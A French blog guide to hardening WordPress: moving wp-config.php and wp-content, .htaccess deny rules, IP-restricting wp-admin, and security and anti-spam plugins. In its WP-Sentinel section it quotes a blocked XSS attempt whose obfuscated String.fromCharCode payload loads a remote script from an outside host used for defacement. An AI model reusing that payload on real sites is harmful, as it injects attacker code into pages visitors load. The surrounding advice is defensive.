Sécuriser WordPress

Une page qui concerne la sécurité sur Worpress. Cette vous donne quelques recettes à suivre afin de sécuriser ou rendre votre WordPress plus difficile à hacker.

But du Hacking

Quelques but du hacking les plus courants pour un site lambda :

Par exemple sur la page suivante : WordPress Timthumb Viagra Attack : klikcentral.com / glavgen.com Le code ajouté redirige les internautes vers un faux site pharmaceutiques.

Source du Hacking

Les sources d’un hacking peuvent venir du vulnérabilités qui se trouvent à différents « étages » du site.

Vulnérabilités propre aux serveurs

Les vulnérabilités propres au serveur, soit l’OS, soit le serveur WEB, soit les sous-modules comme PHP. Dans le cas d’un Serveur Apache/PHP/MySQL se reporter à la page : Sécuriser un serveur Apache/PHP/MySQL (LAMP) Bien maintenir à jour son installation, dans le cas d’un serveur mutualisé, vous n’avez pas à gérer cette partie.

Vulnérabilités liés à WordPress / Extensions WordPress

Les vulnérabilités liées à WordPress ou aux extensions installées peuvent permettre l’accès et la modification du site. Comme en témoigne ce post par exemple : WordPress Hack : Timthumb attack Pensez à maintenir à jour votre installation.

Votre PC

Certains malwares de type stealer peuvent voler les identifiants FTP qui peuvent permettre la modification de votre PC, d’autres malwares sont spécialement créés afin d’infecter les sites, par exemple : Hack WEB site par vol FTP

Négligeance

Outre ne pas maintenir son serveur/installation de WordPress à jour, les néglieances les plus communes :

  • Laisser le répertoire d’installation.
  • Utiliser un mot de passe administrateur trop simple.
  • Se logguer en tant qu’administrateur depuis un réseau non sécurisé (Wifi public, cybercafé etc.. )
Noter que votre serveur WEB est en permanence scanné par des bots qui tentent des hack en automatique, très souvent des RFI sont tentés. Si une vulnérabilité est découverte, on assistera alors à une recrudescence des attaques tentant d’exploiter la vulnérabilité. Exemple avec   la vulnérabilité ThimThumb. Donc ne pas tomber dans la paranoia, les tentatives de hacks sont normales.

Sécuriser WordPress

La page suivante de codex donne pas mal d’étapes qui peuvent être suivis afin de sécuriser WordPress : http://codex.wordpress.org/Hardening_WordPress   Les astuces de déplacement de répertoire/renommage augmente la sécurité de WordPress notamment contre les scans automatiques qui sont en général pensé en ayant les fichiers et l’arborescence de WordPress par défaut. Avant toute modification de votre site, faites une sauvegarde, dans la mesure du possible tester les modifications sur un site de test afin de mesurer les impacts.

Déplacer wp-config.php

wp-config.php est le fichier de configuration de votre WordPress qui contient les informations de connexion à la base. Le fichier est en PHP et est donc interpréter par le serveur WEB, si un internaute se connecte dessus, il aura une page blanche et ne verra pas le contenu du fichier (code et donc les variables qui contiennent les informations de connexion). Si la partie PHP n’est plus fonctionnel, le fichier est alors interprété comme un fichier texte et là il est possible de voir le contenu. De même, une vulnérabilité qui donnerai accès en lecture à des fichiers peux permettre de lire le contenu du fichier. Pour limiter la casse, on peux déplacer le fichier WP-Config.php qui se trouve à la racine du site afin que les pirates ne sachent pas où il se trouve ou le mettre dans un répertoire non accessible depuis le serveur WEB. Cela permet aussi de se mettre à l’abbri des scans automatiques qui viseront le fichier en racine du site. WordPress autorise de déplacer le fichier wp-config.php un cran au dessus du répertoire où est stocké WordPress. Exemple : WordPress se trouve dans /var/www/WordPress Donc le fichier wp-config.php se trouve dans /var/www/wp-config.php Vous pouvez alors le déplacer dans : /var/www

Déplacer le répertoire wp-content

Le répertoire wp-content contient les plugins ainsi que les themes. Pour sécuriser votre blog, vous pouvez modifier le répertoire. Il convient ensuite de modifier le fichier wp-config.php pour donner le nouveau répertoire par la directive suivante :

define('WP_CONTENT_DIR', dirname(__FILE__) . '/repertoire-content');

Noter que si vous avez déplacer wp-config.php dans le répertoire parent comme expliqué dans le paragraphe précédent, il faut donner l’arborescence complète :

define('WP_CONTENT_DIR', dirname(__FILE__) . '/repertoire-site/repertoire-content');

Fichier .htaccess

Les fichiers .htaccess Apache permettent d’effectuer diverses opérations, notamment il est tout à fait possible d’interdire la lecture d’un fichier d’un site, de bloquer des IP Il peux donc être interressant de bloquer l’accès au fichier wp-config.php – si vous ne l’avez pas déplacé. Cela se fait à partir d’un fichier .htaccess suivant :

<files wp-config.php>
order allow,deny
deny from all
</files>

On peux aussi bloquer l’accès au répertoire d’administration pour n’y autoriser que votre adresse IP si elle est fixe. Vous devez alors créer un fichier .htaccess dans le répertoire d’administration wp-admin qui peux contenir les commandes suivantes :

order deny,allow deny from all allow from IP allow from IP allow from IP

Notez que deny from permet aussi d’en interdire.

Il est notamment possible de mettre un .htaccess à la racine afin de bloquer les POSTS sur wp-login.php pour empếcher les attaques bruteforces (qui si, vous avez mis des places complexes ne poseront pas de problèmes).
Plus d’informations à la fin de cette page : http://www.malekal.com/2013/08/12/wordpress-authenfication-bruteforcer/

Extension Contre les tentives de Hack

Améliorer la sécurité de WordPress

Antivirus, WP-Defender/WP Security Scan sont des extensions qui scannent le contenu de votre installation WordPress et vous notifient si ces derniers trouvent des anomalies.
Antivirus recherche des PHP Shell ou du code malicieux qui aurait été insérés suite à une attaque réussi. WP-Defender/WP Security Scan scanne WordPress et vous notifie s’il trouve des anomalies qui peuvent jouer sur la sécurité : Sécuriser WordPress : WP Defender A noter que WP-Defender supprime la présence de la version dans le code source du site (Replace WP-Version le fait aussi) – Connaître la version de WordPress peux permettre de connaîtres les vulnérabilités et donc hacker votre blog. Bien entendu, rien n’empêche de lancer une batterie de tentatives d’exploit de vulnérabilités connus mais bon c’est visible.

Bloquer de requêtes HTTP malicieux

Vous pouvez toujours tester les deux en vérifiant que cela ne ralentit pas le site. WP-Sentinel fournit un historique sympa des tentatives de hack : Ci-dessous un Spam qui se fait bloquer :

Ci-dessous une tentative de RFI (Remote File Injection) :

Et cette tentative avec le code : document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,100,101,98,121,97,110,103,101,108,46,48,48,48,115,112,97,99,101,46,99,111,109,47,120,115,115,34,62,60,47,115,99,114,105,112,116,62)); qui conduit à l’adresse http://debyangel.000space.com/xss/qui saute vers http://debyangel.000space.com/xss/deface.php qui est une page de defacing de site WEB par une attaque XSS (Cross-Site Scripting)

Un mot sur le SPAM

WordPress fournit des extensions efficaces contre le SPAM en commentaire. Vous pouvez installer une extension qui ajoute un captacha à saisir dans les commentaires : Accouplé, à une extension qui interroge une base de données d’IP de base, vous devriez avoir la paix.
Vous avez Akismet et Project HoneyPot  (extension Project Honey Pot Http:BL).
Dans les deux cas, vous devez aller sur le site, vous inscrire et récupérer une clef API qui sera à indiquer dans la configuration de l’extension. Pour ma part, je n’ai que Akismet (bon faut dire aussi que les IP Russie, Ukrainienne et Chinoises sont blacklistées), ce qui donne : WP-Akismet

Pour aller plus loin

Notez qu’ici vous avez des solutions au niveau WordPress, si vous avez la main sur le serveur Apache, dans le cas d’un serveur dédié.
Vous pouvez mettre en place des solutions de filtrage avec par exemple mod-security : http://www.malekal.com/2013/08/12/presentation-modsecurity-pour-apache/
Dans le cas d’un mutualisé, il faudra passer par les extensions WordPress.

Vous pouvez aussi jeter un oeil à la page : [réseau] Sécuriser un serveur Apache/PHP/MySQL (LAMP)